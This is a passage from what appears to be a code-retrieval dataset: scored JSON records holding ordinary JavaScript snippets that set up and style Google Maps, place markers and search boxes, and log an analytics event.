"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#3f4c5a\"},{\"lightness\":\"52\"},{\"weight\":\"1\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#d7dee5\"},{\"lightness\":29},{\"weight\":0.2}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#d7dee5\"},{\"lightness\":18}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#d7dee5\"},{\"lightness\":\"14\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#d7dee5\"}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#d7dee5\"},{\"lightness\":16}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#d7dee5\"}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#d7dee5\"}]},{\"featureType\":\"transit\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#19222a\"},{\"lightness\":19}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#2b3638\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#2b3638\"},{\"lightness\":17}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#19222a\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#24282b\"}]},{\"featureType\":\"water\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"labels.text\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]}]\n });\n // get ISS altitude and velocity\n $.get(\"https://api.wheretheiss.at/v1/satellites/25544\", (res) => {\n marker = new google.maps.Marker({\n position: pvd,\n icon: equisatIcon,\n size: new google.maps.Size(25, 25),\n map: map\n });\n mapInited = true;\n });\n}", "title": "" }, { "docid": "b210ccd1b701d6fc774f3169f018613f", "score": "0.58125174", "text": "function loadGoogleMaps()\n{\n var mapDiv = $(\"#gmaps\");\n //create map with centre at auckland\n map = new google.maps.Map(mapDiv[0], {\n center: new google.maps.LatLng(-36.836767,174.766281),\n zoom: 13,\n mapTypeId: google.maps.MapTypeId.SATELLITE\n });\n \n //display no labels on the map\n var styleArray = [\n {\n \"elementType\": \"labels\",\n \"stylers\": [\n { \"visibility\": \"off\" }\n ]\n }\n ];\n map.setOptions({styles: styleArray});\n \n //show div\n var mapsWidth = mapDiv.width();\n var mapsHeight = 450;\n \n if($(document).width() < mapsWidth * 2)\n mapsHeight = $(document).height() * 0.5;\n \n mapDiv.height(\"\" + mapsHeight + \"px\");\n \n loadingState.googleMaps = true;\n finishLoading();\n}", "title": "" }, { "docid": "33ae6ffe0d26e7011d2e03e186ec0496", "score": "0.58080304", "text": "function initMap() {\n /*Only exists so that we can use the Google APIs script*/\n}", "title": "" }, { "docid": "3fdadb492d87a22723684275c3ff4dba", "score": "0.5804505", "text": "function googleGeoSearch() {\n\n var markers = [];\n var map = new google.maps.Map(document.getElementById('cpdl-map'), {\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n center: {lat: 40.674, lng: -73.945},\n zoom: 12,\n mapTypeControl: true,\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,\n position: google.maps.ControlPosition.BOTTOM_CENTER\n },\n zoomControl: true,\n zoomControlOptions: {\n position: google.maps.ControlPosition.LEFT_BOTTOM\n },\n scaleControl: true,\n streetViewControl: true,\n streetViewControlOptions: {\n position: google.maps.ControlPosition.RIGHT_BOTTOM\n },\n fullscreenControl: false,\n styles: [\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#e9e9e9\"\n },\n {\n \"lightness\": 17\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f5f5f5\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 17\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 29\n },\n {\n \"weight\": 0.2\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 18\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f5f5f5\"\n },\n {\n \"lightness\": 21\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#dedede\"\n },\n {\n \"lightness\": 21\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#ffffff\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"saturation\": 36\n },\n {\n \"color\": \"#333333\"\n },\n {\n \"lightness\": 40\n }\n ]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#f2f2f2\"\n },\n {\n \"lightness\": 19\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#fefefe\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#fefefe\"\n },\n {\n \"lightness\": 17\n },\n {\n \"weight\": 1.2\n }\n ]\n }\n ]\n });\n $('#cpdl-map').append(' <input id=\"pac-input\" class=\"form-control controls\" type=\"text\" placeholder=\"Search Box\">');\n // Create the search box and link it to the UI element.\n var input = document.getElementById('pac-input');\n var searchBox = new google.maps.places.SearchBox(input);\n map.controls[google.maps.ControlPosition.TOP].push(input);\n\n // Bias the SearchBox results towards current map's viewport.\n map.addListener('bounds_changed', function() {\n searchBox.setBounds(map.getBounds());\n });\n\n var markers = [];\n // Listen for the event fired when the user selects a prediction and retrieve\n // more details for that place.\n searchBox.addListener('places_changed', function() {\n var places = searchBox.getPlaces();\n\n if (places.length == 0) {\n return;\n }\n\n // Clear out the old markers.\n markers.forEach(function(marker) {\n marker.setMap(null);\n });\n markers = [];\n\n // For each place, get the icon, name and location.\n var bounds = new google.maps.LatLngBounds();\n places.forEach(function(place) {\n if (!place.geometry) {\n console.log(\"Returned place contains no geometry\");\n return;\n }\n var icon = {\n url: place.icon,\n size: new google.maps.Size(71, 71),\n origin: new google.maps.Point(0, 0),\n anchor: new google.maps.Point(17, 34),\n scaledSize: new google.maps.Size(25, 25)\n };\n\n // Create a marker for each place.\n markers.push(new google.maps.Marker({\n map: map,\n icon: icon,\n title: place.name,\n position: place.geometry.location\n }));\n\n $('#listing_address').val(place.formatted_address);\n $(\"#lat\").val(parseFloat(place.geometry.location.lat()));\n $(\"#lng\").val(parseFloat(place.geometry.location.lng()));\n\n if (place.geometry.viewport) {\n // Only geocodes have viewport.\n bounds.union(place.geometry.viewport);\n } else {\n bounds.extend(place.geometry.location);\n }\n });\n \n map.fitBounds(bounds);\n\n \n });\n }", "title": "" }, { "docid": "f2d01810157a6358de3977383d33ebb8", "score": "0.5789489", "text": "function initMap() {\n var coordinates = {\n lat: 34.150089,\n lng: -118.3882595\n };\n var contentString = '<div id=\"content\">' +\n '<div id=\"siteNotice\">' +\n '</div>' +\n '<h1 id=\"firstHeading\" class=\"firstHeading\">Carluza Hospice</h1>' +\n '<div id=\"bodyContent\">' +\n '<p>Our headquarters are located in Studio City, CA. However, hospice care is an in-home service, and our expert staff is available in most cities in the Greater Los Angeles area. Studio City Headquarters. </p>' +\n '<p>11712 Moorpark Street Suite #202. Studio City, CA 91604. Phone: (818) 980-9770. Fax: (818) 980-9771.</a> ' +\n '</div>' +\n '</div>';\n\n var infowindow = new google.maps.InfoWindow({\n content: contentString\n });\n\n var map = new google.maps.Map(document.getElementById('map'), {\n zoom: 10,\n center: coordinates,\n mapTypeControlOptions: {\n mapTypeIds: [google.maps.MapTypeId.ROADMAP, customMapTypeId],\n scrollwheel: false\n }\n });\n var marker = new google.maps.Marker({\n position: coordinates,\n map: map,\n //icon: 'images/pin.png'\n });\n marker.addListener('click', function() {\n infowindow.open(map, marker);\n });\n var customMapType = new google.maps.StyledMapType(\n [{\n \"featureType\": \"all\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\n \"saturation\": 36\n },\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 40\n }\n ]\n },\n {\n \"featureType\": \"all\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [{\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#343031\"\n },\n {\n \"lightness\": \"-44\"\n }\n ]\n },\n {\n \"featureType\": \"all\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 17\n },\n {\n \"weight\": 1.2\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"labels\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },\n {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n }]\n },\n {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n }]\n },\n {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"labels.text\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n }]\n },\n {\n \"featureType\": \"administrative.province\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },\n {\n \"featureType\": \"administrative.locality\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n },\n {\n \"saturation\": \"-100\"\n },\n {\n \"lightness\": \"30\"\n }\n ]\n },\n {\n \"featureType\": \"administrative.neighborhood\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },\n {\n \"featureType\": \"administrative.land_parcel\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n },\n {\n \"gamma\": \"0.00\"\n },\n {\n \"lightness\": \"74\"\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"color\": \"#544e50\"\n },\n {\n \"lightness\": \"-45\"\n }\n ]\n },\n {\n \"featureType\": \"landscape.man_made\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"lightness\": \"3\"\n }]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 21\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n }]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [{\n \"color\": \"#d26829\"\n },\n {\n \"lightness\": \"-16\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 29\n },\n {\n \"weight\": 0.2\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 18\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 19\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"color\": \"#413c3e\"\n },\n {\n \"lightness\": \"-66\"\n }\n ]\n }\n ], {\n name: 'Custom Style'\n });\n var customMapTypeId = 'custom_style';\n\n\n}", "title": "" }, { "docid": "21d51ba1eaf5b1284d7505c2b9311d26", "score": "0.5781801", "text": "function loadmap() {\n var typeMQOpenMap = new google.maps.ImageMapType(MQOpenMapOptions);\n var typeMQOpenSat = new google.maps.ImageMapType(MQOpenSatOptions);\n var typeMapnik = new google.maps.ImageMapType(MapnikOptions);\n var typeBlank = new google.maps.ImageMapType(BlankOptions);\n var typeOpenStreetMapDE = new google.maps.ImageMapType(OpenStreetMapDEOptions);\n var typeEsri = new google.maps.ImageMapType(EsriOptions);\n var typeHERE = new google.maps.ImageMapType(HEREOptions);\n\n var maptypelist = ['Mapnik', google.maps.MapTypeId.ROADMAP, google.maps.MapTypeId.SATELLITE, google.maps.MapTypeId.HYBRID, google.maps.MapTypeId.TERRAIN, 'Blank', 'DE', 'Esri', 'HERE'];\n var maptypecontroloptions = {mapTypeIds: maptypelist, position: google.maps.TOP_RIGHT, style: google.maps.MapTypeControlStyle.DROPDOWN_MENU};\n //var mapopt = {center: new google.maps.LatLng(42.664529, -73.786470), zoom: 12, mapTypeId: 'Mapnik', mapTypeControl: true, mapTypeControlOptions: maptypecontroloptions, streetViewControl: true, disableDefaultUI: true, panControl: true, zoomControl: true, scaleControl: true, overviewMapControl: true, keyboardShortcuts: true, disableDoubleClickZoom: false};\n // OLD coordinates are Albertus Hall room 400-2 at The College of Saint Rose\n //var mapopt = {center: new google.maps.LatLng(42.664529, -73.786470), zoom: 16, mapTypeControl: true, mapTypeControlOptions: maptypecontroloptions};\n\n // coordinates are Roger Bacon 321 at Siena College\n var mapopt = {center: new google.maps.LatLng(42.719450, -73.752063), zoom: 16, mapTypeControl: true, mapTypeControlOptions: maptypecontroloptions};\n\n map = new google.maps.Map(document.getElementById(\"map\"), mapopt);\n \n map.mapTypes.set('MQOpenMap', typeMQOpenMap);\n map.mapTypes.set('MQOpenSat', typeMQOpenSat);\n map.mapTypes.set('Mapnik', typeMapnik);\n map.mapTypes.set('Blank', typeBlank);\n map.mapTypes.set('DE', typeOpenStreetMapDE);\n map.mapTypes.set('Esri', typeEsri);\n map.mapTypes.set('HERE', typeHERE);\n}", "title": "" }, { "docid": "ba294b7793d17d57b4726ae07d5259b4", "score": "0.57813394", "text": "function addMapCss() {\n if (!document.querySelector('[data-map-css]')) {\n let mapcss = document.createElement('link');\n mapcss.setAttribute('rel', 'stylesheet');\n mapcss.setAttribute('href', './css/map.css');\n mapcss.setAttribute('data-map-css', '');\n document.getElementsByTagName('head')[0].appendChild(mapcss);\n }\n }", "title": "" }, { "docid": "5c3eb766b8f399cb86df92c87ae5fe18", "score": "0.5769277", "text": "function initialize_gmap($element) {\n var myLatlng = new google.maps.LatLng($element.data('lat'),$element.data('lng'));\n var markerLatlng = new google.maps.LatLng($element.data('markerlat'),$element.data('markerlng'));\n var scrollwheel = ($element.data('scrollwheel') == 1 ? true : false);\n var mapTypeControl = ($element.data('maptypecontrol') == 1 ? true : false);\n var panControl = ($element.data('pancontrol') == 1 ? true : false);\n var zoomControl = ($element.data('zoomcontrol') == 1 ? true : false);\n var scaleControl = ($element.data('scalecontrol') == 1 ? true : false);\n var map_type = google.maps.MapTypeId.ROADMAP;\n if ($element.data('map_type') == 'SATELLITE') map_type = google.maps.MapTypeId.SATELLITE;\n if ($element.data('map_type') == 'HYBRID') map_type = google.maps.MapTypeId.HYBRID;\n if ($element.data('map_type') == 'TERRAIN') map_type = google.maps.MapTypeId.TERRAIN;\n var mapOptions = {\n zoom: parseInt($element.data('zoom'),10),\n center: myLatlng,\n mapTypeId: map_type,\n scrollwheel: scrollwheel,\n mapTypeControl: mapTypeControl,\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,\n position: google.maps.ControlPosition.BOTTOM_CENTER\n },\n panControl: panControl,\n panControlOptions: {\n position: google.maps.ControlPosition.RIGHT_CENTER\n },\n zoomControl: zoomControl,\n zoomControlOptions: {\n style: google.maps.ZoomControlStyle.LARGE,\n position: google.maps.ControlPosition.RIGHT_CENTER\n },\n scaleControl: scaleControl,\n scaleControlOptions: {\n position: google.maps.ControlPosition.BOTTOM_LEFT\n },\n streetViewControl: false,\n streetViewControlOptions: {\n position: google.maps.ControlPosition.RIGHT_CENTER\n }\n };\n var elemnt_id = $element.attr('id');\n var map = new google.maps.Map(document.getElementById(elemnt_id), mapOptions);\n var infowindow = new google.maps.InfoWindow({\n content: $element.data('markercontent')\n });\n var marker = new google.maps.Marker({\n position: markerLatlng,\n map: map,\n title: $element.data('markertitle'),\n icon: $element.data('markericon')\n });\n google.maps.event.addListener(marker, 'click', function() {\n infowindow.open(map,marker);\n });\n }", "title": "" }, { "docid": "181bfcdfd5503459b0c3389341d6799a", "score": "0.574768", "text": "function initMap() {\n\t// Sets the options for the brewery map\n\tvar options = {\n\t\tzoom: 11,\n\t\tcenter: {lat:-41.241098 ,lng:174.824240},\n\t\tmapTypeId : 'roadmap',\n\t\tstyles : [\n\t\t\t// {\n\t\t\t// featureType : 'water',\n\t\t\t// stylers : [\n\t\t\t// {\n\t\t\t// color : '#abcdef'\n\t\t\t// }\n\t\t\t// ]\n\t\t\t// },\n\t\t\t// {\n\t\t\t// featureType : 'road',\n\t\t\t// elementType : 'geometry',\n\t\t\t// stylers : [\n\t\t\t// {\n\t\t\t// lightness : '-40',\n\t\t\t// color : '#333'\n\t\t\t// }\n\t\t\t// ]\n\t\t\t// },\n\t\t\t// {\n\t\t\t// featureType : 'road',\n\t\t\t// elementType : 'labels.text.fill',\n\t\t\t// stylers : [\n\t\t\t// {\n\t\t\t// color : '#34495e'\n\t\t\t// }\n\t\t\t// ]\n\t\t\t// },\n\t\t\t// {\n\t\t\t// featureType : 'landscape',\n\t\t\t// stylers : [\n\t\t\t// {\n\t\t\t// color : '#2ecc71'\n\t\t\t// }\n\t\t\t// ]\n\t\t\t// }\n\t\t\t// Style taken from 'https://mapstyle.withgoogle.com/'\n\t\t\t{\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#ebe3cd\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#523735\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"elementType\": \"labels.text.stroke\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#f5f1e6\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"administrative\",\n\t\t\t\"elementType\": \"geometry.stroke\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#c9b2a6\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"administrative.land_parcel\",\n\t\t\t\"elementType\": \"geometry.stroke\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#dcd2be\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"administrative.land_parcel\",\n\t\t\t\"elementType\": \"labels\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"administrative.land_parcel\",\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#ae9e90\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"landscape.natural\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#dfd2ae\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"poi\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#dfd2ae\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"poi\",\n\t\t\t\"elementType\": \"labels.text\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"poi\",\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#93817c\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"poi.business\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"poi.park\",\n\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#a5b076\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"poi.park\",\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#447530\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#f5f1e6\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road\",\n\t\t\t\"elementType\": \"labels.icon\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.arterial\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#fdfcf8\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#f8c967\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.highway\",\n\t\t\t\"elementType\": \"geometry.stroke\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#e9bc62\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.highway.controlled_access\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#e98d58\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.highway.controlled_access\",\n\t\t\t\"elementType\": \"geometry.stroke\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#db8555\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.local\",\n\t\t\t\"elementType\": \"labels\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"road.local\",\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#806b63\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"transit\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"visibility\": \"off\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"transit.line\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#dfd2ae\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"transit.line\",\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#8f7d77\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"transit.line\",\n\t\t\t\"elementType\": \"labels.text.stroke\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#ebe3cd\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"transit.station\",\n\t\t\t\"elementType\": \"geometry\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#dfd2ae\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"water\",\n\t\t\t\"elementType\": \"geometry.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#b9d3c2\"\n\t\t\t\t}\n\t\t\t]\n\t\t\t},\n\t\t\t{\n\t\t\t\"featureType\": \"water\",\n\t\t\t\"elementType\": \"labels.text.fill\",\n\t\t\t\"stylers\": [\n\t\t\t\t{\n\t\t\t\t\"color\": \"#92998d\"\n\t\t\t\t}\n\t\t\t]}\n\t\t]\n\t}\n\t// Initialises the google map so that it displays on the web page\n\tbreweryMap = new google.maps.Map(document.getElementById('map'), options);\n\tbreweryMap.setTilt(0);\n\n\t// Loop through markers\n\tfor(i=0; i<breweries.length;i++){\n\t\t// Adds all of the markers from the brewery array\n\t\taddMarkers(breweries[i]);\n\t}\n}", "title": "" }, { "docid": "ab54d9217e434a1240ae4cbd52269410", "score": "0.57463163", "text": "function initGoogleMap() {\n\tvar contactMap = document.getElementsByClassName('js-google-maps');\n\tif(contactMap.length > 0) {\n\t\tfor(var i = 0; i < contactMap.length; i++) {\n\t\t\tinitContactMap(contactMap[i]);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d6e00ec67e3f444e2becd7152fba1cfc", "score": "0.5741385", "text": "function gmInitGoogleMap(repopulateOnMapMove) {\r\n var latlng = new google.maps.LatLng(0, 0);\r\n var myOptions = {\r\n center: latlng,\r\n disableDoubleClickZoom: false,\r\n scrollwheel: false,\r\n panControl: false,\r\n scaleControl: true,\r\n streetViewControl: false,\r\n zoomControl: true,\r\n draggable: true, // !(\"ontouchend\" in document) -- works on large touch screens\r\n mapTypeControl: true,\r\n mapTypeId: google.maps.MapTypeId.ROADMAP,\r\n maxZoom: 16,\r\n fullscreenControl: true,\r\n height: '100%',\r\n minZoom: 3\r\n };\r\n\r\n bRepopulateOnMapMove = repopulateOnMapMove;\r\n\r\n //Place it on the page\r\n map = new google.maps.Map(document.getElementById(\"map_canvas\"), myOptions);\r\n\r\n //If a legend is requested\r\n if (!(gmLegendDiv == null)) {\r\n map.controls[google.maps.ControlPosition.BOTTOM_CENTER].push(document.getElementById(gmLegendDiv));\r\n }\r\n\r\n //Chalk one up in Google Analytics\r\n ga('send', 'event', 'map', 'load', pageName());\r\n}", "title": "" } ]
fa8b41e9b3500ba1d2c5180946638253
AsyncMode should be deprecated
